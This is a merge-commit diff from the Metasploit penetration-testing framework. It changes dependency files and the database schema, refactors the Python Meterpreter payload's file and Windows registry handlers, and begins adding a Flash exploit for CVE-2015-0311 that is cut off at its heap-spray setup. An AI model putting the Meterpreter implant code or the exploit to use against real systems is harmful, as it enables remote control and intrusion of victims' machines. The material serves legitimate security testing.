Merge branch 'staging/single-vuln-push' into feature/MSP-11934/refactor-report-exploit-success
commit
dd5c69ff34
|
@ -67,17 +67,7 @@ external/source/exploits/**/Release
|
|||
|
||||
# Avoid checking in Meterpreter binaries. These are supplied upstream by
|
||||
# the meterpreter_bins gem.
|
||||
data/meterpreter/elevator.*.dll
|
||||
data/meterpreter/ext_server_espia.*.dll
|
||||
data/meterpreter/ext_server_extapi.*.dll
|
||||
data/meterpreter/ext_server_incognito.*.dll
|
||||
data/meterpreter/ext_server_kiwi.*.dll
|
||||
data/meterpreter/ext_server_lanattacks.*.dll
|
||||
data/meterpreter/ext_server_mimikatz.*.dll
|
||||
data/meterpreter/ext_server_priv.*.dll
|
||||
data/meterpreter/ext_server_stdapi.*.dll
|
||||
data/meterpreter/metsrv.*.dll
|
||||
data/meterpreter/screenshot.*.dll
|
||||
data/meterpreter/*.dll
|
||||
|
||||
# Avoid checking in Meterpreter libs that are built from
|
||||
# private source. If you're interested in this functionality,
|
||||
|
|
13
.mailmap
13
.mailmap
|
@ -13,11 +13,6 @@ jhart-r7 <jhart-r7@github> Jon Hart <jon_hart@rapid7.com>
|
|||
jlee-r7 <jlee-r7@github> egypt <egypt@metasploit.com> # aka egypt
|
||||
jlee-r7 <jlee-r7@github> James Lee <egypt@metasploit.com> # aka egypt
|
||||
jlee-r7 <jlee-r7@github> James Lee <James_Lee@rapid7.com>
|
||||
joev-r7 <joev-r7@github> Joe Vennix <Joe_Vennix@rapid7.com>
|
||||
joev-r7 <joev-r7@github> Joe Vennix <joev@metasploit.com>
|
||||
joev-r7 <joev-r7@github> joev <joev@metasploit.com>
|
||||
joev-r7 <joev-r7@github> jvennix-r7 <Joe_Vennix@rapid7.com>
|
||||
joev-r7 <joev-r7@github> jvennix-r7 <joev@metasploit.com>
|
||||
jvazquez-r7 <jvazquez-r7@github> jvazquez-r7 <juan.vazquez@metasploit.com>
|
||||
jvazquez-r7 <jvazquez-r7@github> jvazquez-r7 <juan_vazquez@rapid7.com>
|
||||
kgray-r7 <kgray-r7@github> Kyle Gray <kyle_gray@rapid7.com>
|
||||
|
@ -80,9 +75,15 @@ jcran <jcran@github> Jonathan Cran <jcran@0x0e.org>
|
|||
jcran <jcran@github> Jonathan Cran <jcran@rapid7.com>
|
||||
jduck <jduck@github> Joshua Drake <github.jdrake@qoop.org>
|
||||
jgor <jgor@github> jgor <jgor@indiecom.org>
|
||||
joevennix <joevennix@github> joe <joev@metasploit.com>
|
||||
joevennix <joevennix@github> Joe Vennix <Joe_Vennix@rapid7.com>
|
||||
joevennix <joevennix@github> Joe Vennix <joev@metasploit.com>
|
||||
joevennix <joevennix@github> joev <joev@metasploit.com>
|
||||
joevennix <joevennix@github> jvennix-r7 <Joe_Vennix@rapid7.com>
|
||||
joevennix <joevennix@github> jvennix-r7 <joev@metasploit.com>
|
||||
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@kernelsmith.com>
|
||||
kernelsmith <kernelsmith@github> kernelsmith <kernelsmith@kernelsmith>
|
||||
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@metasploit.com>
|
||||
kernelsmith <kernelsmith@github> kernelsmith <kernelsmith@kernelsmith>
|
||||
kost <kost@github> Vlatko Kosturjak <kost@linux.hr>
|
||||
kris <kris@???> kris <>
|
||||
m-1-k-3 <m-1-k-3@github> m-1-k-3 <github@s3cur1ty.de>
|
||||
|
|
2
Gemfile
2
Gemfile
|
@ -3,7 +3,7 @@ source 'https://rubygems.org'
|
|||
# spec.add_runtime_dependency '<name>', [<version requirements>]
|
||||
gemspec name: 'metasploit-framework'
|
||||
|
||||
gem 'metasploit_data_models', git: 'https://github.com/rapid7/metasploit_data_models.git', branch: 'feature/MSP-11925/move-automatic-expoitation-factories'
|
||||
gem 'metasploit_data_models', git: 'https://github.com/rapid7/metasploit_data_models.git', branch: 'staging/single-vuln-push'
|
||||
|
||||
# separate from test as simplecov is not run on travis-ci
|
||||
group :coverage do
|
||||
|
|
16
Gemfile.lock
16
Gemfile.lock
|
@ -1,9 +1,9 @@
|
|||
GIT
|
||||
remote: https://github.com/rapid7/metasploit_data_models.git
|
||||
revision: a077ac0b6e5d939da9e1b8f017bd3780aac07ef9
|
||||
branch: feature/MSP-11925/move-automatic-expoitation-factories
|
||||
revision: 6835d9cf61ad998db4184405ab21a92ef92caaa5
|
||||
branch: staging/single-vuln-push
|
||||
specs:
|
||||
metasploit_data_models (0.23.2.pre.move.pre.automatic.pre.expoitation.pre.factories)
|
||||
metasploit_data_models (0.23.2.pre.single.pre.vuln.pre.push)
|
||||
activerecord (>= 3.2.13, < 4.0.0)
|
||||
activesupport
|
||||
arel-helpers
|
||||
|
@ -24,7 +24,7 @@ PATH
|
|||
json
|
||||
metasploit-concern (~> 0.3.0)
|
||||
metasploit-model (~> 0.29.0)
|
||||
meterpreter_bins (= 0.0.14)
|
||||
meterpreter_bins (= 0.0.17)
|
||||
msgpack
|
||||
nokogiri
|
||||
packetfu (= 1.1.9)
|
||||
|
@ -37,7 +37,7 @@ PATH
|
|||
tzinfo
|
||||
metasploit-framework-db (4.11.0.pre.dev)
|
||||
activerecord (>= 3.2.21, < 4.0.0)
|
||||
metasploit-credential (~> 0.14.0)
|
||||
metasploit-credential (~> 0.14.3)
|
||||
metasploit-framework (= 4.11.0.pre.dev)
|
||||
metasploit_data_models (~> 0.23.0)
|
||||
pg (>= 0.11)
|
||||
|
@ -127,7 +127,7 @@ GEM
|
|||
metasploit-concern (0.3.0)
|
||||
activesupport (~> 3.0, >= 3.0.0)
|
||||
railties (< 4.0.0)
|
||||
metasploit-credential (0.14.0)
|
||||
metasploit-credential (0.14.3)
|
||||
metasploit-concern (~> 0.3.0)
|
||||
metasploit-model (~> 0.29.0)
|
||||
metasploit_data_models (~> 0.23.0)
|
||||
|
@ -138,7 +138,7 @@ GEM
|
|||
metasploit-model (0.29.0)
|
||||
activesupport
|
||||
railties (< 4.0.0)
|
||||
meterpreter_bins (0.0.14)
|
||||
meterpreter_bins (0.0.17)
|
||||
method_source (0.8.2)
|
||||
mime-types (1.25.1)
|
||||
mini_portile (0.6.1)
|
||||
|
@ -205,7 +205,7 @@ GEM
|
|||
rspec-core (~> 2.99.0)
|
||||
rspec-expectations (~> 2.99.0)
|
||||
rspec-mocks (~> 2.99.0)
|
||||
rubyntlm (0.4.0)
|
||||
rubyntlm (0.5.0)
|
||||
rubyzip (1.1.7)
|
||||
shoulda-matchers (2.6.2)
|
||||
simplecov (0.5.4)
|
||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -11,7 +11,6 @@
|
|||
|
||||
require 'rubygems' # install rubygems
|
||||
require 'hpricot' # gem install hpricot
|
||||
require 'open-uri'
|
||||
require 'timeout'
|
||||
|
||||
def usage
|
||||
|
|
|
@ -11,7 +11,7 @@
|
|||
|
||||
require 'rubygems' # install rubygems
|
||||
require 'hpricot' # gem install hpricot
|
||||
require 'open-uri'
|
||||
require 'uri'
|
||||
require 'timeout'
|
||||
|
||||
def usage
|
||||
|
@ -26,17 +26,17 @@ File.readlines(sitelist).each do |site|
|
|||
site.strip!
|
||||
next if site.length == 0
|
||||
next if site =~ /^#/
|
||||
|
||||
|
||||
out = File.join(output, site + ".txt")
|
||||
File.unlink(out) if File.exists?(out)
|
||||
|
||||
|
||||
fd = File.open(out, "a")
|
||||
|
||||
|
||||
|
||||
["", "www."].each do |prefix|
|
||||
begin
|
||||
Timeout.timeout(10) do
|
||||
doc = Hpricot(open("http://#{prefix}#{site}/"))
|
||||
Timeout.timeout(10) do
|
||||
doc = Hpricot(URI.parse("http://#{prefix}#{site}/").open)
|
||||
doc.search("//form").each do |form|
|
||||
|
||||
# Extract the form
|
||||
|
@ -78,9 +78,9 @@ File.readlines(sitelist).each do |site|
|
|||
$stderr.puts "#{prefix}#{site} #{e.class} #{e}"
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
fd.close
|
||||
|
||||
|
||||
File.unlink(out) if (File.size(out) == 0)
|
||||
|
||||
end
|
||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -59,6 +59,7 @@ if sys.version_info[0] < 3:
|
|||
is_bytes = lambda obj: issubclass(obj.__class__, str)
|
||||
bytes = lambda *args: str(*args[:1])
|
||||
NULL_BYTE = '\x00'
|
||||
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, str) else x)
|
||||
else:
|
||||
if isinstance(__builtins__, dict):
|
||||
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
|
||||
|
@ -69,6 +70,7 @@ else:
|
|||
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
|
||||
NULL_BYTE = bytes('\x00', 'UTF-8')
|
||||
long = int
|
||||
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x)
|
||||
|
||||
if has_ctypes:
|
||||
#
|
||||
|
@ -530,7 +532,7 @@ def get_stat_buffer(path):
|
|||
if hasattr(si, 'st_blocks'):
|
||||
blocks = si.st_blocks
|
||||
st_buf = struct.pack('<IHHH', si.st_dev, min(0xffff, si.st_ino), si.st_mode, si.st_nlink)
|
||||
st_buf += struct.pack('<HHHI', si.st_uid, si.st_gid, 0, rdev)
|
||||
st_buf += struct.pack('<HHHI', si.st_uid & 0xffff, si.st_gid & 0xffff, 0, rdev)
|
||||
st_buf += struct.pack('<IIII', si.st_size, long(si.st_atime), long(si.st_mtime), long(si.st_ctime))
|
||||
st_buf += struct.pack('<II', blksize, blocks)
|
||||
return st_buf
|
||||
|
@ -630,7 +632,7 @@ def channel_open_stdapi_fs_file(request, response):
|
|||
fmode = fmode.replace('bb', 'b')
|
||||
else:
|
||||
fmode = 'rb'
|
||||
file_h = open(fpath, fmode)
|
||||
file_h = open(unicode(fpath), fmode)
|
||||
channel_id = meterpreter.add_channel(MeterpreterFile(file_h))
|
||||
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
||||
return ERROR_SUCCESS, response
|
||||
|
@ -923,18 +925,19 @@ def stdapi_sys_process_get_processes(request, response):
|
|||
@meterpreter.register_function
|
||||
def stdapi_fs_chdir(request, response):
|
||||
wd = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
|
||||
os.chdir(wd)
|
||||
os.chdir(unicode(wd))
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_fs_delete(request, response):
|
||||
file_path = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
|
||||
os.unlink(file_path)
|
||||
os.unlink(unicode(file_path))
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_fs_delete_dir(request, response):
|
||||
dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
|
||||
dir_path = unicode(dir_path)
|
||||
if os.path.islink(dir_path):
|
||||
del_func = os.unlink
|
||||
else:
|
||||
|
@ -945,7 +948,7 @@ def stdapi_fs_delete_dir(request, response):
|
|||
@meterpreter.register_function
|
||||
def stdapi_fs_delete_file(request, response):
|
||||
file_path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||
os.unlink(file_path)
|
||||
os.unlink(unicode(file_path))
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
|
@ -971,25 +974,29 @@ def stdapi_fs_file_expand_path(request, response):
|
|||
def stdapi_fs_file_move(request, response):
|
||||
oldname = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
|
||||
newname = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||
os.rename(oldname, newname)
|
||||
os.rename(unicode(oldname), unicode(newname))
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_fs_getwd(request, response):
|
||||
response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, os.getcwd())
|
||||
if hasattr(os, 'getcwdu'):
|
||||
wd = os.getcwdu()
|
||||
else:
|
||||
wd = os.getcwd()
|
||||
response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, wd)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_fs_ls(request, response):
|
||||
path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
|
||||
path = os.path.abspath(path)
|
||||
contents = os.listdir(path)
|
||||
contents.sort()
|
||||
for x in contents:
|
||||
y = os.path.join(path, x)
|
||||
response += tlv_pack(TLV_TYPE_FILE_NAME, x)
|
||||
response += tlv_pack(TLV_TYPE_FILE_PATH, y)
|
||||
response += tlv_pack(TLV_TYPE_STAT_BUF, get_stat_buffer(y))
|
||||
path = os.path.abspath(unicode(path))
|
||||
dir_contents = os.listdir(path)
|
||||
dir_contents.sort()
|
||||
for file_name in dir_contents:
|
||||
file_path = os.path.join(path, file_name)
|
||||
response += tlv_pack(TLV_TYPE_FILE_NAME, file_name)
|
||||
response += tlv_pack(TLV_TYPE_FILE_PATH, file_path)
|
||||
response += tlv_pack(TLV_TYPE_STAT_BUF, get_stat_buffer(file_path))
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
|
@ -1008,6 +1015,7 @@ def stdapi_fs_md5(request, response):
|
|||
@meterpreter.register_function
|
||||
def stdapi_fs_mkdir(request, response):
|
||||
dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
|
||||
dir_path = unicode(dir_path)
|
||||
if not os.path.isdir(dir_path):
|
||||
os.mkdir(dir_path)
|
||||
return ERROR_SUCCESS, response
|
||||
|
@ -1016,6 +1024,7 @@ def stdapi_fs_mkdir(request, response):
|
|||
def stdapi_fs_search(request, response):
|
||||
search_root = packet_get_tlv(request, TLV_TYPE_SEARCH_ROOT).get('value', '.')
|
||||
search_root = ('' or '.') # sometimes it's an empty string
|
||||
search_root = unicode(search_root)
|
||||
glob = packet_get_tlv(request, TLV_TYPE_SEARCH_GLOB)['value']
|
||||
recurse = packet_get_tlv(request, TLV_TYPE_SEARCH_RECURSE)['value']
|
||||
if recurse:
|
||||
|
@ -1056,7 +1065,7 @@ def stdapi_fs_sha1(request, response):
|
|||
@meterpreter.register_function
|
||||
def stdapi_fs_stat(request, response):
|
||||
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||
st_buf = get_stat_buffer(path)
|
||||
st_buf = get_stat_buffer(unicode(path))
|
||||
response += tlv_pack(TLV_TYPE_STAT_BUF, st_buf)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
|
@ -1334,10 +1343,12 @@ def stdapi_net_socket_tcp_shutdown(request, response):
|
|||
channel.shutdown(how)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
def _wreg_close_key(hkey):
|
||||
ctypes.windll.advapi32.RegCloseKey(hkey)
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_close_key(request, response):
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
result = ctypes.windll.advapi32.RegCloseKey(hkey)
|
||||
_wreg_close_key(packet_get_tlv(request, TLV_TYPE_HKEY)['value'])
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
|
@ -1372,11 +1383,9 @@ def stdapi_registry_delete_value(request, response):
|
|||
result = ctypes.windll.advapi32.RegDeleteValueA(root_key, ctypes.byref(value_name))
|
||||
return result, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_enum_key(request, response):
|
||||
def _wreg_enum_key(request, response, hkey):
|
||||
ERROR_MORE_DATA = 0xea
|
||||
ERROR_NO_MORE_ITEMS = 0x0103
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
name = (ctypes.c_char * 4096)()
|
||||
index = 0
|
||||
tries = 0
|
||||
|
@ -1399,10 +1408,22 @@ def stdapi_registry_enum_key(request, response):
|
|||
return result, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_enum_value(request, response):
|
||||
def stdapi_registry_enum_key(request, response):
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
return _wreg_enum_key(request, response, hkey)
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_enum_key_direct(request, response):
|
||||
err, hkey = _wreg_open_key(request)
|
||||
if err != ERROR_SUCCESS:
|
||||
return err, response
|
||||
ret = _wreg_enum_key(request, response, hkey)
|
||||
_wreg_close_key(hkey)
|
||||
return ret
|
||||
|
||||
def _wreg_enum_value(request, response, hkey):
|
||||
ERROR_MORE_DATA = 0xea
|
||||
ERROR_NO_MORE_ITEMS = 0x0103
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
name = (ctypes.c_char * 4096)()
|
||||
name_sz = ctypes.c_uint32()
|
||||
index = 0
|
||||
|
@ -1426,6 +1447,20 @@ def stdapi_registry_enum_value(request, response):
|
|||
index += 1
|
||||
return result, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_enum_value(request, response):
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
return _wreg_enum_value(request, response, hkey)
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_enum_value_direct(request, response):
|
||||
err, hkey = _wreg_open_key(request)
|
||||
if err != ERROR_SUCCESS:
|
||||
return err, response
|
||||
ret = _wreg_enum_value(request, response, hkey)
|
||||
_wreg_close_key(hkey)
|
||||
return ret
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_load_key(request, response):
|
||||
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)
|
||||
|
@ -1434,16 +1469,22 @@ def stdapi_registry_load_key(request, response):
|
|||
result = ctypes.windll.advapi32.RegLoadKeyA(root_key, sub_key, file_name)
|
||||
return result, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_open_key(request, response):
|
||||
def _wreg_open_key(request):
|
||||
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
||||
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
|
||||
base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
|
||||
permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
|
||||
handle_id = ctypes.c_void_p()
|
||||
if ctypes.windll.advapi32.RegOpenKeyExA(root_key, ctypes.byref(base_key), 0, permission, ctypes.byref(handle_id)) != ERROR_SUCCESS:
|
||||
return error_result_windows(), response
|
||||
response += tlv_pack(TLV_TYPE_HKEY, handle_id.value)
|
||||
return error_result_windows(), 0
|
||||
return ERROR_SUCCESS, handle_id.value
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_open_key(request, response):
|
||||
err, hkey = _wreg_open_key(request)
|
||||
if err != ERROR_SUCCESS:
|
||||
return err, response
|
||||
response += tlv_pack(TLV_TYPE_HKEY, hkey)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
|
@ -1467,9 +1508,7 @@ def stdapi_registry_query_class(request, response):
|
|||
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data))
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_query_value(request, response):
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
def _query_value(request, response, hkey):
|
||||
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
|
||||
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
|
||||
value_type = ctypes.c_uint32()
|
||||
|
@ -1496,8 +1535,20 @@ def stdapi_registry_query_value(request, response):
|
|||
return error_result_windows(), response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_set_value(request, response):
|
||||
def stdapi_registry_query_value(request, response):
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
return _query_value(request, response, hkey)
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_query_value_direct(request, response):
|
||||
err, hkey = _wreg_open_key(request)
|
||||
if err != ERROR_SUCCESS:
|
||||
return err, response
|
||||
ret = _query_value(request, response, hkey)
|
||||
_wreg_close_key(hkey)
|
||||
return ret
|
||||
|
||||
def _set_value(request, response, hkey):
|
||||
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
|
||||
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
|
||||
value_type = packet_get_tlv(request, TLV_TYPE_VALUE_TYPE)['value']
|
||||
|
@ -1505,6 +1556,20 @@ def stdapi_registry_set_value(request, response):
|
|||
result = ctypes.windll.advapi32.RegSetValueExA(hkey, ctypes.byref(value_name), 0, value_type, value_data, len(value_data))
|
||||
return result, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_set_value(request, response):
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
return _set_value(request, response, hkey)
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_set_value_direct(request, response):
|
||||
err, hkey = _wreg_open_key(request)
|
||||
if err != ERROR_SUCCESS:
|
||||
return err, response
|
||||
ret = _set_value(request, response, hkey)
|
||||
_wreg_close_key(hkey)
|
||||
return ret
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_unload_key(request, response):
|
||||
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
||||
|
|
|
@ -41,6 +41,7 @@ if sys.version_info[0] < 3:
|
|||
is_bytes = lambda obj: issubclass(obj.__class__, str)
|
||||
bytes = lambda *args: str(*args[:1])
|
||||
NULL_BYTE = '\x00'
|
||||
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, str) else x)
|
||||
else:
|
||||
if isinstance(__builtins__, dict):
|
||||
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
|
||||
|
@ -51,6 +52,7 @@ else:
|
|||
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
|
||||
NULL_BYTE = bytes('\x00', 'UTF-8')
|
||||
long = int
|
||||
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x)
|
||||
|
||||
#
|
||||
# Constants
|
||||
|
@ -262,7 +264,9 @@ def tlv_pack(*args):
|
|||
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8')
|
||||
else:
|
||||
value = tlv['value']
|
||||
if not is_bytes(value):
|
||||
if sys.version_info[0] < 3 and isinstance(value, __builtins__['unicode']):
|
||||
value = value.encode('UTF-8')
|
||||
elif not is_bytes(value):
|
||||
value = bytes(value, 'UTF-8')
|
||||
if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
|
||||
data = struct.pack('>II', 8 + len(value) + 1, tlv['type']) + value + NULL_BYTE
|
||||
|
|
Binary file not shown.
81
db/schema.rb
81
db/schema.rb
|
@ -11,7 +11,7 @@
|
|||
#
|
||||
# It's strongly recommended to check this file into your version control system.
|
||||
|
||||
ActiveRecord::Schema.define(:version => 20150212214222) do
|
||||
ActiveRecord::Schema.define(:version => 20150312155312) do
|
||||
|
||||
create_table "api_keys", :force => true do |t|
|
||||
t.text "token"
|
||||
|
@ -19,6 +19,47 @@ ActiveRecord::Schema.define(:version => 20150212214222) do
|
|||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
create_table "automatic_exploitation_match_results", :force => true do |t|
|
||||
t.integer "match_id"
|
||||
t.integer "run_id"
|
||||
t.string "state", :null => false
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
create_table "automatic_exploitation_match_sets", :force => true do |t|
|
||||
t.integer "workspace_id"
|
||||
t.integer "user_id"
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
add_index "automatic_exploitation_match_sets", ["user_id"], :name => "index_automatic_exploitation_match_sets_on_user_id"
|
||||
add_index "automatic_exploitation_match_sets", ["workspace_id"], :name => "index_automatic_exploitation_match_sets_on_workspace_id"
|
||||
|
||||
create_table "automatic_exploitation_matches", :force => true do |t|
|
||||
t.integer "module_detail_id"
|
||||
t.string "state"
|
||||
t.integer "nexpose_data_vulnerability_definition_id"
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
t.integer "match_set_id"
|
||||
t.string "matchable_type"
|
||||
t.integer "matchable_id"
|
||||
t.text "module_fullname"
|
||||
end
|
||||
|
||||
add_index "automatic_exploitation_matches", ["module_detail_id"], :name => "index_automatic_exploitation_matches_on_ref_id"
|
||||
add_index "automatic_exploitation_matches", ["module_fullname"], :name => "index_automatic_exploitation_matches_on_module_fullname"
|
||||
|
||||
create_table "automatic_exploitation_runs", :force => true do |t|
|
||||
t.integer "workspace_id"
|
||||
t.integer "user_id"
|
||||
t.integer "match_set_id"
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
create_table "clients", :force => true do |t|
|
||||
t.integer "host_id"
|
||||
t.datetime "created_at"
|
||||
|
@ -155,19 +196,22 @@ ActiveRecord::Schema.define(:version => 20150212214222) do
|
|||
end
|
||||
|
||||
create_table "loots", :force => true do |t|
|
||||
t.integer "workspace_id", :default => 1, :null => false
|
||||
t.integer "workspace_id", :default => 1, :null => false
|
||||
t.integer "host_id"
|
||||
t.integer "service_id"
|
||||
t.string "ltype", :limit => 512
|
||||
t.string "path", :limit => 1024
|
||||
t.string "ltype", :limit => 512
|
||||
t.string "path", :limit => 1024
|
||||
t.text "data"
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
t.string "content_type"
|
||||
t.text "name"
|
||||
t.text "info"
|
||||
t.integer "module_run_id"
|
||||
end
|
||||
|
||||
add_index "loots", ["module_run_id"], :name => "index_loots_on_module_run_id"
|
||||
|
||||
create_table "macros", :force => true do |t|
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
|
@ -359,6 +403,24 @@ ActiveRecord::Schema.define(:version => 20150212214222) do
|
|||
add_index "module_refs", ["detail_id"], :name => "index_module_refs_on_module_detail_id"
|
||||
add_index "module_refs", ["name"], :name => "index_module_refs_on_name"
|
||||
|
||||
create_table "module_runs", :force => true do |t|
|
||||
t.datetime "attempted_at"
|
||||
t.text "fail_detail"
|
||||
t.string "fail_reason"
|
||||
t.integer "module_detail_id"
|
||||
t.text "module_full_name"
|
||||
t.integer "port"
|
||||
t.string "proto"
|
||||
t.integer "session_id"
|
||||
t.string "status"
|
||||
t.integer "trackable_id"
|
||||
t.string "trackable_type"
|
||||
t.integer "user_id"
|
||||
t.string "username"
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
create_table "module_targets", :force => true do |t|
|
||||
t.integer "detail_id"
|
||||
t.integer "index"
|
||||
|
@ -393,9 +455,11 @@ ActiveRecord::Schema.define(:version => 20150212214222) do
|
|||
t.boolean "critical"
|
||||
t.boolean "seen"
|
||||
t.text "data"
|
||||
t.integer "vuln_id"
|
||||
end
|
||||
|
||||
add_index "notes", ["ntype"], :name => "index_notes_on_ntype"
|
||||
add_index "notes", ["vuln_id"], :name => "index_notes_on_vuln_id"
|
||||
|
||||
create_table "profiles", :force => true do |t|
|
||||
t.datetime "created_at", :null => false
|
||||
|
@ -479,13 +543,16 @@ ActiveRecord::Schema.define(:version => 20150212214222) do
|
|||
t.integer "port"
|
||||
t.string "platform"
|
||||
t.text "datastore"
|
||||
t.datetime "opened_at", :null => false
|
||||
t.datetime "opened_at", :null => false
|
||||
t.datetime "closed_at"
|
||||
t.string "close_reason"
|
||||
t.integer "local_id"
|
||||
t.datetime "last_seen"
|
||||
t.integer "module_run_id"
|
||||
end
|
||||
|
||||
add_index "sessions", ["module_run_id"], :name => "index_sessions_on_module_run_id"
|
||||
|
||||
create_table "tags", :force => true do |t|
|
||||
t.integer "user_id"
|
||||
t.string "name", :limit => 1024
|
||||
|
|
|
@ -0,0 +1,242 @@
|
|||
// Build how to:
|
||||
// 1. Download the AIRSDK, and use its compiler.
|
||||
// 2. Be support to support 16.0 as target-player (flex-config.xml).
|
||||
// 3. Download the Flex SDK (4.6)
|
||||
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
|
||||
// 5. Build with: mxmlc -o msf.swf Main.as
|
||||
|
||||
// Original code by @hdarwin89 // http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/
|
||||
// Modified to be used from msf
|
||||
package
|
||||
{
|
||||
import flash.display.Sprite;
|
||||
import flash.display.LoaderInfo;
|
||||
import flash.system.ApplicationDomain;
|
||||
import flash.utils.ByteArray;
|
||||
import avm2.intrinsics.memory.casi32;
|
||||
import flash.external.ExternalInterface;
|
||||
import mx.utils.Base64Decoder;
|
||||
|
||||
public class Main extends Sprite
|
||||
{
|
||||
private var data:uint = 0xdeaddead
|
||||
private var uv:Vector.<Object> = new Vector.<Object>
|
||||
private var ba:ByteArray = new ByteArray()
|
||||
private var spray:Vector.<Object> = new Vector.<Object>(51200)
|
||||
private var b64:Base64Decoder = new Base64Decoder();
|
||||
private var payload:String = "";
|
||||
|
||||
/*public static function log(msg:String):void{
|
||||
var str:String = "";
|
||||
str += msg;
